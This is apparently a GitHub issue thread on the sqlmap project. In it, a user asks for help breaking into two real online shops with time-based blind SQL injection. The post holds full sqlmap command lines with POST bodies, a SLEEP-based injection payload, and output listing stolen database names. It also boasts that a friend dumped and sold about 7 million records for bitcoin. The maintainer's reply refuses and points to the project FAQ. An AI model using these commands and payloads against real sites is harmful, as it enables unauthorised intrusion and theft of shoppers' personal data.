injection timebased-blind create_account.php need help

[Tareck8911]

What's the problem (or question)?

try to inj. in time based blind but cant get db... my friend got giving me that lines its a big shop would be nice if some could help me

sqlmap.py -u "https://www.xxxxx/create_account.php" --timeout=11 --retries=2 --answers="do you want to skip those kind of cases=N,Do you want to keep testing the others=N,eventual further=N,threads=13,heck for the existenc=N,Do you want to resend original=N,follow=Y" --random-agent --no-cast --threads 10 --drop-set-cookie --current-db --cookie="security=low" --data="action=process&gender=m&firstname=&lastname=&email_address=753 Main Street&company=Acme-Hackme Corp.&vat=1234&street_address=753 Main Street&postcode=1234&city=Mystery&country=81*;&telephone=555-555-5555&fax=1234&password=&confirmation=Acme-Hackme Corp.&x=0&y=0" --dbms mysql --level 1

and he post me results :

back-end DBMS: MySQL 5.0.12
current database: 'othernameDB'
available databases [7]:
[] game-accounts
[] online-gold
[] order
[] othernameDB
[] information_schema
[] othernameDB
[*] newsletter

got not enough exp to inject this site :/ -

ill try this one and sqlmap tells me increase risk / level or tamper script ...i didnt understand whats wrong its the same command as my friend has used.. but he didnt tell me everything because i should try by myself. ^^ now its the 5 week ill try to get db :/ help me pls.

---

2nd was another big online shop with mysql same try injection on business login.

MySQL 5
sqlmap resumed the following injection point(s) from stored session:

Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: kundennummer=if(now()=sysdate(),sleep(0),0)/' OR SLEEP(5)-- rlzJ'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/&password=g00dPa$$w0rD

web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5 (MariaDB fork)

the webscreen was Kundennummer*(in eng: User or userid Memberid) Passwort*(in eng.. u should know it ^^ password) for vendors shop like ebay

sqlmap.py -u "https://busxxxxxx.xxxxx.ch:443/?e=1" --data="kundennummer=if(now()=sysdate(),sleep(0),0)/' OR SLEEP(5)-- rlzJ'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"/&password=g00dPa$$w0rD" -p #1* --level 5 --risk 3 --threads 4-10(tested) --hex (tested) --tamper "thing tested all of them" --no-cast(tested) --random-agent(tested)
i cant use TOR .. something was fucked on dedicated server telling me was no tor services installed for sqlmap im using python 2.7 and sqlmap 1.0xx or 1.1xxxx

the .CH shop got round about 7mio in database proof because a friend dump it and SE bitcoins 150 hope someone could help me

[stamparm]

https://github.com/sqlmapproject/sqlmap/wiki/FAQ#can-you-hack-a-site-for-me

This is not a sqlmap's issue. You have forums for this kind of stuff